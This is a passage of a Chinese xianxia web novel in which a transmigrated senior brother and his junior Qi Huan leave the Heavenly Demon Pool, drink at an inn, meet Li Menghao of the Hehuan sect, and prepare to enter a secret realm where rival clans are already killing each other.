“是。”祁桓淡淡回答,毫不虚假,更无恭维。 许清浔想了想,“是情有可原,但总不能去哪里都带着孩子吧?我也有我的事要做。” “或许他们只是为了保护你。”祁桓分析。 “这我也能理解,只是……” 许清浔皱了皱眉,或许被偏爱的就是容易任性吧,再者说,他是穿越者,他有太多不能说的事,而一直被人看着,他会十分不方便。 另外,不知是他的错觉还是其他,有时候他们看他的眼神,不像是看待孩子的眼神,投射了太多野心。 许清浔沉默了片刻,最后感慨地说:“实在是溺爱不利于成长,不经历风雨,怎见得彩虹?” “这话倒也没错。”祁桓点了点头。 许清浔抬眸,意外意识到自己的三观跟祁桓还蛮相符的,抑或者说,一开始他们本来就三观相符,是那个“作者”从中作梗,才导致祁桓变成太变态。 委实说,他一开始看《醒红尘》的时候,真心觉得小祁桓就是小时候的他,然后越认真追文,被创的越惨。 现在祁桓正常长大成人,他别提多欣慰了。 许清浔又是一笑,“你会有机会见他们一面的,你眼力比我好一点,到时候你就帮我看看,他们究竟是什么回事。” 祁桓沉思,然后道:“有时候亲人之爱,并不一定纯粹。” 许清浔颇为意外,“你的意思是夹带利用之类的?” 祁桓点了点头。 许清浔望天思考,片刻才道:“很正常吧,纯粹的爱本就是难求的,即便是亲人之间也是如此,生在万年世家,许多身不由己,唯一可以确定不变的是,他们是生我养我宠我的人。” 祁桓眼神微变,仿佛借由这件事,思考着另一件事,神色很是认真。 许清浔回过神,轻声道:“我早就不是追求纯粹的年纪了,刻奇的思想是现实生存的障碍。” 为他人的感情中夹带着几分利用而要死要活这种事,大抵是小孩子才会做。 祁桓闻言愣了一下,若有所思地垂下双眸。 “比起这个,”许清浔好奇道,“对了师弟,你在‘七情六欲’中,看见了什么?” 祁桓面色顿变,又开始阴晴不定。 许清浔一看,不好乱他心境,连忙道:“要是不能说就别想了,快到一个时辰了,再坚持坚持,出去师兄带你吃大餐!” 对面没有回答,率性闭上了眼睛。 若非是因为身处天魔池中,许清浔都要以为祁桓是生气不理人了。 应该不至于因为一两句怎么着吧? 许清浔歪了歪头,而最后,他还是选择相信了。 他的心境有些变化。以前,他曾生气祁桓总是被人容易改变,而穿越之后,他又想成为轻易改变祁桓的那个人,这说到底,何尝不是同一种性质的傲慢。 有时候,相信才是最重要的。 自己的内核,自然得要自己来雕琢。 一念通达,神清气爽,体内那股诡异而不祥的力量似乎瞬间转变了一股生生不息的生命力,滋养神魂,涤荡道心,令他本就巩固的境界再次大巩固,臻于圆满之境。 他仿佛忘记了思考,抛除了所有杂念,一心只剩□□会。 一晃,半个时辰过去,早就到了一个时辰,两人却依旧没有动静。 天魔池寂静如常,倒是天空悄然变幻,色泽仿佛变深了,云气卷动,形成了两个漩涡,仿佛一双眸子,正在盯视人间。 许清浔身上的《原始太虚经》似有感应,隐隐地散发出白光。 又一个时辰过去,他们还是没醒,其他人这时候要么走了,要么走火入魔出大事了。 又半个时辰过去,异变突然发生了,天魔池仿佛蒸腾了一般,池水滚动,喷发水汽。 祁桓身边的池水转变为墨色,并且围绕着他旋转,与此同时,他的道体隐隐发出暗光,仿佛在吸收天魔池的魔气。 《灭世魔经》的经文在他身前缓缓浮现,开始只是隐隐约约,后来逐渐深刻,甚至扭曲了空间。 像是回应它一样,《原始太虚经》也爆发了,它发出炽烈的白光,显现出一道道混沌古文,令许清浔周围的池水瞬间转化为天地本源真气。 它们像在斗法,针锋相对,互不相让。 对面的两人并不知道这一变故,仍然沉浸在修炼中,许清浔无意识间吸收了《原始太虚经》释放出的天地本源真气,顿时道体仿佛升华,当即炼化起来。 祁桓则是皱了皱眉。 《原始太虚经》与《灭世魔经》整整对峙了一个时辰,恐怖的力量令天地失色,山水震动,双方爆发而出的符文更是漫山遍野,一发不可收拾。 或许是意识到再对抗下去,很快会被人类大修发现,它们才堪堪停止,虽然依旧敌意满满。 若是有人懂经语,说不定能发现,它们其实在对骂,且用词极其粗鄙。 总共对峙了两个时辰,它们才终于回归宿体。 而此时的天魔池已经彻底变色,从蓝紫色变成了普通湖水的颜色,那股所谓诡异而不祥的力量也减弱到直至消失。 片刻之后,许清浔境界大圆满,再次清醒过来,震惊地发现池水变色,水雾也消失了。 “怎么回事?” 他立刻站起身,随手掬起一片湖水,感知后才发现,湖水里面的神秘力量消失了。 许清浔傻眼,随后目光望向了祁桓。 祁桓也醒了,不仅如此,还比许清浔快一步上岸,且穿上了衣袍。 “我也不知怎么回事。”他提前回答了许清浔。 许清浔双眸微瞪,心里想的是,莫非是主角光环?但原著也没写啊。 “而且,现在的时间……我们竟在里面呆了四个多时辰?” 良久,百思不得其解,无论如何,先上岸吧。 不久后,他们离开了天魔峰。 不远处的山丘上,许清浔忽然转头,问道:“师弟,你有没有感觉天魔峰变了?” “……有吗。” 祁桓好似有些心不在焉。 许清浔回头,缓缓地凑近祁桓,眨了眨眼,问:“所以,感觉到什么变化了吗?” 祁桓一愣,沉默片刻,“道心……应该是坚固了不少。” 许清浔大为放心,双臂交抱道:“但我觉得不只是道心坚固了,修为也提升了,你没有吗?” 说话时,他一直盯着祁桓。 “有一些。”祁桓内视自身,多少有些不确定,片刻才回答:“筑基巅峰了。” 许清浔大喜,眼睛都亮了,“二十一岁筑基巅峰,不愧是你!” 祁桓本该开心的,但面对更天才的许清浔,他只是浅浅一笑,“师兄不是比我还快筑基巅峰吗。” “哈哈。”许清浔心想,那当然,你大哥我可是论外级存在。 “说话算话,咱们去喝一杯吧!”他笑道。 祁桓开口,似要拒绝,但不知为何,最后点了点头,没有扫许清浔的兴。 他们赶回诛魔城的时候,天差不多全黑了,诛魔城的城墙在夜里浮现出一道道符文,演化着守护的阵法。 这座城据说是讨伐域外天魔的根据地,曾经有许多大修士驻扎于此。 白天来的时候,许清浔没有注意观察,现在一看才知,这座城很有历史底蕴。立在城墙前,能够感觉到一种扑面而来的故事感。 “不管怎样,先找个客栈吧!” 一刻钟后,他带祁桓风风火火来到了诛魔城最大的客栈,客栈兼有饭馆服务,到时候喊上菜到房间即可。 他一进门便发现里面包括店家的人全是修士,当中有好几个修为不低,值得忌惮。 他转头,甚至还看见了一同坐神舟过来的许家修士。他们看上去面色十分沉重,三个人吵了起来,谈论的还是要不要回家的问题。 许清浔隐约听到了自己的名字,无意识间走近了一步,不料被身边人环腰抱走,耳边还传来了警告。 “师兄莫非想要被他们发现。” 许清浔顿时一个激灵,连忙摇头,“那怎么可能。” “先进房吧。” “好好。” 许清浔听话且老实,真进房了之后,才回味过来,自己干嘛这么听祁桓的话。 岂有小弟指使大哥的道理? 让你假扮我老公,你难道真是我老公了吗? 但他纳闷归纳闷,倒没有说出来,因为祁桓好像有什么心事的样子,莫非是天魔池的后遗症? 他胡思乱想着,对方忽然转头,将一枚戒指递给他,并道:“多谢师兄的护心戒。” 许清浔收在手里,眨了眨眼。 “你……真的没事吗。” “没事,无须师兄担心。” 黑衣青年坐下便开始闭目调息,妥妥一个修炼狂的态势。 许清浔歪了歪头,本想叫些灵酒喝喝,但对方似乎没有兴致的样子,总不能自己喝吧?据说诛魔城的酒别有一番风味…… 思想斗争了片刻,许清浔果然没忍住,不久后便有人送上来,那酒壶一打开,整个房间都香坏了。 他绝不是嗜酒之人,主要是修炼界的酒实在美味。他没有喊祁桓,自己倒了一小杯,浅尝一口,果然美味! 酒劲上来了,他才开始复盘今日的事。 “天魔峰到底发生了什么,为何我两的见闻如此离奇?” 许清浔托腮,偏偏他没有感觉到体内任何问题,甚至修为还变强了。 又喝了一口酒,仍旧想不通。三刻钟后,他小醉,埋头浅睡。 黑衣青年却忽然睁开了眼睛,视线径直看着那道身影。 好歹也是一门首座,怎能这般姿态。祁桓低声念叨,却毫无责怪之意,甚至亲自起身将人抱到了床上,自己坐在床边不知思考着什么。 良久,他神色复杂,突然抬手,似要抽自己一巴掌,又停在空中,缓缓放下。 他思考了一路,愣是没搞明白。 ——自己在天魔池中的欲望对象为何是自己的师兄。 想着,他面色控制不住地泛红。 第32章 第三十二章 我可是你的榜一大哥啊!…… “不, 不对,我在想什么!” 祁桓坐立难安,好像客栈内的空气突然变得无比焦灼,然而他的脑子偏偏又不受控制地想起了当时所看到的画面。 他对师兄绝对没有那种幻想, 却看见了师兄那般□□的姿态。以至于, 这一路上他都不太敢直视对方。 而且, 他……明明不喜欢男人,怪好像只能怪自家师兄长得实在美丽,超越了他所见过的所有修士。 所、所以那是意外!谁在天魔池中看见那样的存在不心动一下?他也不过是犯了所有男人都会犯的错,人之常情! 祁桓试图自己安慰, 好像终于平静了下来。师兄再绝色也是师兄, 那不过是天魔池的幻觉, 平日的师兄再如何调戏打趣他, 也不会那般一颦一笑都是欲,还会扑倒他。 对,没错,镇定!修道之人, 最要紧的就是镇定。 哼,区区美色,即便师兄脱光道袍,赤身裸.体坐在他身上,他也绝对不会乱了道心! 祁桓对自己低语,眼神格外坚毅, 而就在这时,他突然一个激灵,背脊骨都酥麻了。 “师弟……” 梦呓般的低哑声线,却异常悦耳, 如同清泉一般。 他僵硬地转头,才知是师兄醉得迷糊,无意间地探手过来,虚碰了一下他的腰,现在手又收了回去。 还好还好。祁桓深吸了一口气,目光却落在了醉酒之人殷红的面色上。 以前,他曾问过师兄,为何喜欢饮酒,师兄的回答是——酒与剑是修仙必不可少的浪漫。 很奇怪的一段话,浪漫是什么?简直无法理解,但那个人兴致勃勃地那么说,他也不好反驳就是了。 再者说,适当饮一些灵酒,本就有利于修炼,正所谓酒药同理,灵酒之为灵酒,当中品质好的,却有非同一般的效果。 祁桓心里想着,忽地眼神一变,因为醉酒之人好像在嘀咕什么,话音模糊,语气中充满了抱怨。 “……可恶的小子,居然不听话?我可是你的榜一大哥啊!” “我给你砸了那么多钱,你居然还不听话,你对得起我吗你,气死我了,我可是为你吃土了好几个月啊。” “你以后要是敢黑化,老子跟你拼了!” 醉酒之人不安分地大呼小叫,不知是醉得满面通红,还是气得,异常之激动。 祁桓则是沉默了,纳闷道:“‘那小子’难道是说我吗,可榜一大哥是什么?听不懂,从未听过这种话。吃土又是什么?” 以前他以为自己觉得师兄满口怪话,是因为他见识少,不懂世家少爷的世界,后来他才知道,那些怪话只有自家师兄在说,二师兄李长金也时常不知道师兄在说什么。 偶尔,他会觉得,师兄其实是另一个世界的人,所以才与常人如此不同。听说玄界之外还有八个界域,也许真有一个世界的人是这么说话的呢。 他沉思着,忽然满意一笑,因为师兄随便做个梦,梦里也都是他。但回过神后,他又面色发白,连忙否认刚刚的自己。 就在这时,床上的人忽然动了,睫羽轻颤,似乎要睁开眼睛了。 祁桓瞳孔一震,瞬间从床上消失。待许清浔睁开眼睛,坐起身,看到的就是一个端坐修炼、气质高冷的黑衣修士。 “……” 许清浔呆了呆,盯着祁桓看了片刻,才缓缓转移视线,落到前面的桌上,低语道:“我刚刚不是在那吗,为何到了床上。” 房间内一片安静。 黑衣修士默不作声,好似没听见他的低语,一心修炼,绝无旁骛。 许清浔目光转移,落到了黑衣修士身上。他一直盯了片刻,忽然露出了笑容,却没有拆穿。 吾家师弟初养成,不禁善解人意,还会关心体贴,抱师兄上床睡觉了!他大喜,好想冲到评论区说,看啊,那个变态居然也会关心人了,那个人还是我欸。 “说起来,这算是榜一大哥福利吗?” 许清浔碎碎念,眼睛大亮,当即对黑衣修士刮目相看了。 原来你小子也是会发福利的啊。 可能他盯着黑衣修士的眼神太过炽烈了,以至于后者明显不太自在。 许清浔自认为善解人意的好大哥,当然不会太为难那个死活不肯坦率的小师弟了。 他又起身走了几步,双眸微眯,锐评道:“这酒酿的真不错,诛魔城中恐有不得了的人才。” 他口味不俗,毕竟出身于万年世家,父母又溺爱,玄界上品美酒全都尝过,而这随便买的酒居然就堪比上品。 许清浔又小尝了一口,回味无穷。 旁边的黑衣修士却皱了皱眉,似乎不喜欢听他夸其他人,忽然睁开双眸,盯着那个满足于他人技艺的青衣修士。 许清浔感知到视线,转头问:“师弟也想尝一口吗。” 祁桓抿唇,完全不看许清浔手上的酒,只淡淡道:“不要闲聊了,倒是白日之事,师兄发现了什么没有。” 许清浔一顿,放下酒杯道:“惭愧,没有想到什么,就是修为太过勇猛精进,反倒让我很不可思议。” “……我也一样。”祁桓低眸,除了“幻觉”之外,天魔池之行可谓是顺利得超乎想象。道心有没有臻于无暇不好说,境界倒是臻于无暇了。其次,经魔居然比他预想中老实多了,没有任何动静。 “或许这就是运气吧?” 许清浔勉强找了一个说法,虽虚无缥缈无从验证,但格外的有说服力。 所谓运气,也叫道运,道运不好的人,哪怕出生在万年世家,也是早死夭折的命,而道运好的人,哪怕出生草根,灵窍封闭,也有可能成为无上至尊,据说,当今的玄界至尊便是这样的人。 而祁桓作为主角,有一些主角光环也不奇怪吧? 许清浔认为有理,只不过他跟祁桓在一起这么多年,还是第一次碰见这么怪的事。 “罢了,师兄,下一步去哪里。” 祁桓不会纠结无法解释的事,他只会向前走。 许清浔点了点头,对此他早有想法,笑问:“师弟晓得灵气复苏的隐秘吗。” 祁桓思考片刻,“据说每个纪元都会有两到三次的灵气复苏,灵气复苏期间,九界天才频出,龙争虎斗,有望成仙,之后,灵气就会开始衰微,直到回到常世的水平。” “你所知道的,不过是宗门教给你的吧。”许清浔笑容不改。 祁桓沉思,然后说出自己的看法,“天道讲究平衡,潮起潮落,才是自然,只不过,我很好奇,‘时机’该如何决定。” 许清浔摇了摇头,“关键不是‘时’,而是‘地’。” 祁桓一顿,仿佛想到了什么。 许清浔接着道:“灵气复苏总该有一个开始,开始的时间为天时,我等无法决定,但可以算出,而天时之外,还有开始的地点,启始之地,灵气最为浓郁,你我修炼虽不依仗灵气,但地利为何不要?再者,那样的地方天材地宝尤为丰富,为何不争?” 祁桓微微变色,抬眸道:“可这样的地方,定会异常凶险。” “说对了。”许清浔正色,肃然道:“玄界只有一个这种地方,但不止我知道地点,还有许多大人物知道,他们每到九界天才会即将开启的时候,就会想办法将他们的传人送入其中,你一定好奇,为何他们自己不去,答案其实也简单,那里有天生的阵法,修为太高,会被阵法察知,瞬间杀死,只有金丹中期以下才能安全进出。” 祁桓沉默了,低声道:“普通人与大人物,资源的掌控真不在一个层次。” 许清浔面色沉重,“没办法,要为世界设定规则,也得我们有实力。我告诉你这件事,是因为我有进去的方法,我们可以一起进去。” 原著中,祁桓进去里面多亏了经魔的指引,秘境中,他见识了太多草菅人命、视人如畜生的世家子弟,物伤其类,以及心里巨大的不平衡,最终爆发,将里面变成了杀戮场,血流成河。 而今有自己看着,应该不会有事。许清浔乐观地想。 祁桓听完,点了点头,“倒是想见识一番。” “好,明日便去!”许清浔微微一笑。 “不过,二师兄也会在吗。”祁桓忽然问。他想起了之前抛开李长金和符水门先走的事,不知道他们会如何想。 许清浔一顿,想了想,眸光微暗,道:“会。” 他差点忘了,其实原著中的李长金,正是死在祁桓手上。李家得知此事勃然大怒,誓要将祁桓挫骨扬灰,追杀了祁桓一百多章,后期再有剧情,便是被灭门。 点家,主角杀伐果断不是毒点,但滥杀无辜绝对是,不管那是因为主观想杀,还是失控错杀。小白文会竭尽全力让主角没有污点,而文青文……只能说各有各的犯病法,演都不演。 咳,不能再想了。意识到祁桓正看着他,许清浔当即正襟危坐,“师弟,到时候无论看到什么,你都千万不要轻举妄动,知道吗?” 祁桓眉头微皱,没有立刻回答。 看他如此,许清浔表面平静,实则内心紧张。 片刻之后,祁桓才终于回答,“嗯,我尽量。” 尽量,并非完全答应,但对他来说或许已经足够让步了。 许清浔松了口气,笑道:“好,那师弟好好修炼,师兄连夜布置一下。” 祁桓问:“你要出去吗。” “那倒不是,只是要炼制一张符,在这就可以。”许清浔语气轻松。 祁桓却听出了他的言外之意,“地品符文吗。” 许清浔诧异,挠了挠脸说:“你怎么猜到了?” 祁桓低眸,沉默片刻才道:“师兄小心。” “嗯。”许清浔眨了眨眼,真心感觉到,自家师弟是真的在关心他啊。 实在是……太令人心暖了! 许清浔大为感动,更有兴致挑战地品符文了。 半夜三更,房间内,一人盘坐修炼,双目紧闭,一人沉迷炼符,乐此不疲。 许清浔也不知哪里来的能量,感觉体内的灵力近乎源源不断,炼起符文来得心应手,还有一种仿佛开悟的感觉,思想清明,思路清晰。 于是自然而然地,他成功了! 面前,一张黄纸红字的法符缓缓升空,这张法符,与他以往的法符截然不同,灵力内敛,没有丝毫的外泄,并且十分稳定。 地品符文,如同拥有生命一般,不会随着时间灵力消却,威能减弱,能够稳定存世几百上千年。 许清浔低语,“谁若是不小心中了这张符,便是金丹后期也要脱层皮。” 他打量着,确信没问题,然后将其收到玉简中,继续炼制下一张法符。 正所谓趁热打铁,炼符也是一样。 夜已深,客栈一片寂静,多数的房间已经暗了下去,只剩下几间灯火通明。 忽然,祁桓睁开双眸,目光落在了伏倒的青衣修士身上。 累倒了,果然。他心想。 但这一次…… 他眼里闪过一丝犹豫,又看见那个青衣修士身躯微倾,好像随时可能倒下的样子。 祁桓沉默了,片刻后,又一次复刻了之前的行为。 然后他发现,自家师兄虽是男人,但腰……意外的柔软。 而且身上真的很香…… 他眼神一变,连忙收住心猿意马,告诫自己在还没实力的时候,不应有过多的野心。 更何况,师兄也说了,并不喜欢男人。 想到这里,祁桓再次仿佛心口中了一箭,分明是自己也曾说出口的话,为何…… 他眸光幽幽,扫了一眼身边人的睡颜,良久过去,才收回视线。 人也是奇怪,自己的心情,连自己都捉摸不透。 唯一确定的是,他喜欢这样的日子,与师兄到处奔走,相助修炼。 地法财侣的“侣”该是如何,他未必明白,但他此时觉得,能够相伴左右,彼此不嫌弃的人,不正是“侣”吗。 “可我也始终不明白,你为何偏爱我。” 他语气沉重,眸光却意外的温柔。 他的师兄看似浑身破绽,但最关键的事情却未曾透露过,可真是……谜团缠身,让人好奇。 次日一早,许清浔醒了。 “都午时了,师弟你怎么不快点叫醒我?” “忘了,其次,看你睡得熟。” 许清浔挑眉,“到底是忘了,还是看我睡得熟,不如选一个?” 祁桓不作声。 无声胜有声。许清浔笑了,只好给师弟留点面子。 “走吧,去我的法府。” “是。” 片刻之后,他们走下客栈。许清浔馋酒香,不禁多买了几壶,他本来还想买更多的,谁让身边人一直盯着他,如芒刺背,不敢乱来。 许清浔让人结账,转头对祁桓低声念叨:“酒也没啥,你为何这样看我?” 祁桓平静道:“忘了上次喝过头,差点被抓回家吗。” 许清浔脸色微红,这下反驳不了了,只能幽幽地说:“你师兄除了修炼外,平日就这点兴趣,你也不让吗。” 然而祁桓铁面无私,“师兄可以培养别的兴趣。” 许清浔发囧,谈判几轮过后,才勉强通过祁桓的同意,买到了六壶醉仙灵酿。 客栈老板一直看着他们对话,不知为何笑容满面,最后感慨了一声,“有这样关心您的夫君,其实也是福气啊。” 许清浔目瞪口呆,心想你个傻老头,当着祁桓的面说什么呢,这家伙可是崆峒战士啊。 他连忙转头准备劝说祁桓,没想到祁桓非但没有动怒,唇线还微微上扬。 啊,这家伙怎么回事? 许清浔迷惑了,脑子转不过来,只好随口道:“是吗,还好吧。” 客栈老板不知是不是闲的,又搭了一句话,“祝万年好合,有幸再次光临。” 许清浔的脸色白了又白,生怕祁桓暴走,谁知偷瞄一眼,只看到那男人一副自然神态,等等,这家伙是不是蛮满意的啊。 或许是注意到了他怀疑的眼神,祁桓忽然间板起了脸,散发出拒人于千里之外的冰冷气息。 许清浔沉默了,心想迟了,你这笨蛋傲天,啊我懂了,你刚刚是看我丢脸觉得好玩吧? 可恶啊区区小弟还敢嘲笑大哥了。许清浔的眼神于是更加幽怨。 有趣的是,他们刚一下楼,昨日见过的许家三人组也下楼了,且似乎气氛十分焦躁,发展到了激烈对骂。 许清浔倒是想知道他们到底在骂什么,奈何有人笑着调停了他们。 “三位都来自许家,何苦在外争吵,丢了家族颜面。” 说话之人长着一双桃花眼,面容娇美,雌雄莫辨。 许清浔一眼就认出,那是神舟上曾经朝他们招手的合欢宗修士。 好家伙,都来这里了是吗。 许家那三人刚要发作,转头一看,顿时呆在原地,仿佛被蛊惑了一般。其中一人眉开眼笑,温声道:“原来是梦仙子,失礼失礼。” 许清浔感到无语,见色眼开,也没有这么快的吧。许家家大业大,也真是藏污纳垢,什么人都有。 另外,“梦仙子”是什么鬼,都还没成仙呢,就敢称仙子? 那位被成为“梦仙子”的桃花眼修士笑了笑,居然纠正道:“那是他们调侃我的称呼,我的真名是李梦好。” 对面的许家修士从善如流,当即转换了称呼。 而许清浔则是大为震惊,因为他知道李梦好这个名字,在后期那可是鼎鼎有名的大人物,号六欲尊者,乃是祁桓的左膀右臂,同样的杀人不眨眼。 而且更凶残的是,李梦好喜欢将人去势,然后养在他的后宫,喜欢的甚至还要炼成炉鼎。恐怖如斯! 许清浔望而生畏,不免后退了一步,引起了祁桓的注意。 又或者说,祁桓一直看着他,且很不明白他为何看着李梦好。 “师兄,还不走吗。” 许清浔一愣,还未来得及说什么,对面的李梦好似乎注意到了他们,居然解决了许家三人组的事后,又朝他们招了招手。 “又见面了,看来我与两位道友真是有缘。” 许清浔面色一僵,心想你与我没什么缘,倒是与祁桓非常有缘,祁桓要灭门,你最给力,两三天就把人杀完了,真是变态吸引变态,变态身边都是变态。 他还没说话,祁桓忽然站出一步,冷道:“素不相识,并无缘分。” 许清浔呆住,心想师弟,那是你的左膀右臂! 李梦好却是一笑而过,浑不在意,“两面之缘,感觉我们还会再见面的。” “那你想太多了。”祁桓面无表情,完全不给面子。 许清浔左看右看,莫名为祁桓着急,心想师弟,对面那家伙可是你将来的全勤小弟呀。 “是吗。”李梦好淡淡一笑,完全没有生气的样子。 祁桓不再理会他,只想带许清浔立刻离开。 “师兄,走吧。” 没等许清浔应声,祁桓已经强行拉着许清浔走出了客栈。 许清浔回过神来,不禁松了口气,告诫自己,还想原著的事情干什么,有他在,祁桓岂会有接触李梦好的可能?真是想太多了。 他心情平静了,也是这时,才注意到黑衣青年十分不开心,神色沉郁,莫名像一个因妻子被人搭话而吃醋不满的丈夫。 强硬的姿态背后,是强大的占有欲在作祟。 许清浔微微侧首,被自己的想法惊到了。 走远了,直到彻底看不见客栈了,祁桓才终于停步,似乎也意识到他的反应很不正常,眉头皱了起来,心里想着如何解释。 谁知兰香扑鼻,身边人忽然凑近过来,轻声地在他耳边询问:“师弟,你刚刚那是吃醋了吗。” 祁桓瞳孔一震,仿佛被发现了心中最大、最不能被人发现的秘密,以至于紧张得忘记了呼吸,心惊胆跳。 “我……”他竟不敢转头看许清浔,浑身僵硬,说不出的局促。 许清浔则是饶有趣味地看着祁桓,浅色的眼眸一眨不眨,好像很好奇这个男人会如何回答。 片刻,祁桓也是豁出去了,迎着许清浔的视线道:“是又如何,我不能吃醋吗。” 许清浔瞪大眼睛,反应却不是祁桓预想的嘲笑,而是意外的惊喜,并且笑道:“是吗,那太好了!” 祁桓呆了呆,傻了眼。 第33章 第三十三章 他不讨厌“啰嗦”的伴侣…… 客栈楼前, 李梦好站定原地,远远望着两人刚刚离开的方向,目光幽深,若有所思。 他身边一位合欢宗修士好奇道:“师兄, 你很在意他们?” 李梦好顿了顿, 抬手抚摸下巴, 思考着道:“他们……很特殊。” “哪里特殊?容姿气质?” “也有,但不是。”李梦好摇摇头,似乎正在分析自己心中的那份感觉。 那人不太明白,接着问:“那究竟是……” “直觉、命运?”李梦好也不太确定, 桃花眼微眯, 随即释然一笑, 淡淡道:“我直觉, 我们以后会再见的,尤其是黑衣的那一位。” “是吗?”那人还是不太明白- 几乎与此同时,某片深山老林之中。 青衣修士笑了一路,就没停过, “哈哈,吾家师弟长大了,终于也会吃师兄的醋了,师兄甚是欢喜也!” 黑衣青年面色黑沉,沉默了将近一路,他已经在后悔刚才说了那番话。 青衣修士勾肩搭背, 凑近耳畔,吹着气道:“师兄呢也不是取笑你,是实在忍不住高兴,你不要生气嘛, 大不了师兄也吃你的醋?” 黑衣青年无语,欲反驳,却又觉得反驳这个人没有意义,还是顺了对方的心意,移开视线,眼不见为净。 看到黑衣修士别过脸去,一副不想理会你这妖精的冷淡态度,青衣修士一呆,却又笑了,道:“师弟啊,你何时才能明白,你这样只会让人更忍不住调戏你。” 祁桓闻言皱眉,扫了一眼许清浔,一本正经地反驳道:“除了你,世上还有谁敢调戏我。” 许清浔眨了眨眼,心想也确实是,原著祁桓这个年龄的时候,谁若是调戏他,隔页就是尸体一具了,如此对比起来,祁桓还真的太忍他了,从来没有趁他睡着捅刀。 “倒也是。”许清浔见好就收,不再贴着祁桓,正色道:“这儿就是我的秘密法府,地点师兄只告诉了你,你可不能告诉其他人,晓得吗。” 祁桓静静地观察四周,道:“我也没有其他人可以告知。” 此处法府,乃一座天生岩洞,洞口狭窄,一进来却别有洞天,无须照明,岩石自带光华,中间铺设着一条石道,两边是不知何处涌来的溪水,水声潺潺,水花四溅。 沿着石道行走,很快便走到了人居之地。 说是人居之地,其实也不过石桌一张,石椅三张,还有石床一张,不大不小,十分质朴。 许是许久没人来了,多少有些落灰。 许清浔随手捏了一个去尘诀,空间便焕然一新。他对祁桓说:“坐下吧师弟。” 祁桓目光仍在观察四周,闻言转头问:“师兄……为何不将这些法府告知其他师兄师姐,只告诉我。” 许清浔先坐了下来,抬眸道:“你觉得我偏爱你吗?” 这话十分直接。而祁桓并不意外,其实他早该明白的,他这个师兄性情直率,喜厌分明,喜欢便是喜欢,讨厌便是讨厌,断绝不会藏着自己的心情。 想到这,祁桓眸色一暗,“是。” 许清浔挠了挠脸,只好道:“你对我来说是很特殊,但我也没有偏爱多少,或许日后有一天,你都会明白的。” 对他来说,看好他这个师弟不要黑化,就是对大家,以及对九界最好的保护了。 某种意义上,他算是以身伺虎,责无旁贷,而日后若是出什么事,他自然也是首当其冲,率先担责。 不过,他的回答似乎并不是祁桓想听到的。 黑衣青年目光垂落,唇线微抿,淡淡道:“是吗。” 许清浔一顿,似乎受不了对方失落,霎时间柔情上涌,连忙道:“哈哈,当然要说最爱,那必须是师弟你,谁让你是最小的师弟呢?” 这个补救至少有一半完全没有起效,好在祁桓似乎想通了什么,转移话题道:“不必闲聊,办正事吧。” 许清浔当即点头,然后取出了两张符文交织密布的黄金道盘。这玩意是上上次被抓回家时,他从他爹妈那里要来的,可直通秘境,进出自由,当然,只能一次进出,因为任何人只要进去一次就会被秘境阵法标记,再进一次就会立刻被阵法毁灭。 次数可贵,所以他们只舍得在重要的时机使用次数,比如这次的九界天才会之前。 原著中,这次秘境厮杀堪称史上第一激烈,几乎所有人都死了,完整的活人只剩下祁桓,还有几个半死不活的,李梦好就是其中之一。 李梦好正是在那个秘境中见证了祁桓的强大,才开始疯狂崇拜祁桓,成了祁桓的专属小迷弟,就算祁桓要杀他,他也不离不弃,简直跟抖m一样。 许清浔无法理解变态的想法,或许他也曾经慕强,但他绝不至于媚强。所谓强大、所谓力量,不过是实现目标所需的资源而已,岂有人被资源异化的道理? 他作为读者曾经看好祁桓,看好的是祁桓这个人,而不是主角这个身份,更不是祁桓对比其他人的强大,不然主角这么多,他干嘛只当了祁桓的榜一大哥? 至于未来的六欲魔尊李梦好,这家伙是合欢宗的人,能不接触就不要接触。 许清浔一边碎碎念,一边激活黄金盘。 旁边的黑衣修士则做着自己的事。 修士的日子很简单,不是修炼就是寻求资源,剩余的,就是磨炼自己的符器,或是炼制丹药。 都说修真百艺,但那是大家族的修士才有机会学习的,普通的年轻散修能会三四个,炼到精通,已是罕见的人才。 而三玄宗……或许是因为某人的存在吧,自六年前便开始了“六艺通学”的改革,大意是要求所有的入门弟子都要学通六艺。 据说,这个改革令许多弟子苦不堪言,直到几年之后,风评才有好转。 那是当然,祁桓心想。 跟“书到用时方恨少”是一个道理,宗门逼迫你学的东西,虽然一开始会令你苦不堪言,但在这个过分讲究实力的世界里,迟早有一天会用得上,届时就会明白,光是武力强大还不行,符器阵法诀印不通晓,出去很容易变成尸体。 祁桓眼里闪过一片追忆,似乎想起了许清浔追着他教学的那段时光。 时间过得似乎太快了,虽然那个人丝毫不变,还是以前的样子。 片刻后,洞府内只留下潺潺的水声。 青衣修士终于激活了黄金盘,但并没有立刻前往秘境。他折腾了一下阵法,喊黑衣修士先修炼去,明日再出去。 后者点头应是,无言的信任。 几乎同时,秘境之内已经不知道发生了多少次冲突,七大千年世家之间针锋相对,万年世家的王家已经下场,将浑水越搅越浑。 虽然十大家族的核心子弟还没有一个下场,但表面的斗争已经多次见血,甚至有不死不休的势头了。 “可笑,那处洞府不该是我们的吗,他们凭什么占领?” “太嚣张了,以为有王家撑腰,就可以无法无天了吗?我们姬家也不是吃素的!” “谁有办法找李家或是许家的人来?” 一座乙阶洞府前,三个弟子正在讨论。 三刻钟后,三人横死,洞府内被不明人士洗劫一空。片刻之后,姬家之人赶来,见此惨状,为首的年轻修士气得跳脚,大骂道:“定是王家的人干的!他们莫非以为自己能够称霸玄界了不成!” “不就是这一代出了两个体质非凡的妖孽吗?谁家没有妖孽啊。我这就回去请三少爷出手!” “可是三少爷据说钦慕王家那位小姐……” “住口!谣言你也信?” 两人迅速撤离,却忘了埋葬自家修士的尸体。 不久后,姬家法府之内,一位气质若仙的白衣修士淡然一笑,“下人之间的争端,关主人何事?”他微微眯眼,平淡的语气里充斥着傲慢。 “倒不如我也请君去死,以讨王家小姐一笑?” 话音未落,整个洞府的空气都好似冻结了,那两人浑身颤抖,连忙磕头认错。 “我等错了!求三少爷原谅!” “滚!” 片刻之后,洞府内一片安静。 白衣修士微微蹙眉,不满道:“什么时候连这些废物都有资格来这里历练了,他们难道不知,我根本打不过王家年轻一代的任何一人吗。” 话音未落,他身后悄然浮现出一道身影。 “三少爷不必在意,不过是一些下人,死了也就死了,我们姬家有的是人。” “你走吧。”白衣修士挑了挑眉,“真正有趣的人不下场,只放一些狗在外面乱吠,真是无聊的一起历练。” 姬舞明感到乏味。他很清楚,这一代妖孽遍地开花,根本没有他展露拳脚的机会,能够好好苟着,就已经很不错了。任何人想要拉他下水……哼,树秀于林风必摧,傻子才走出人前! 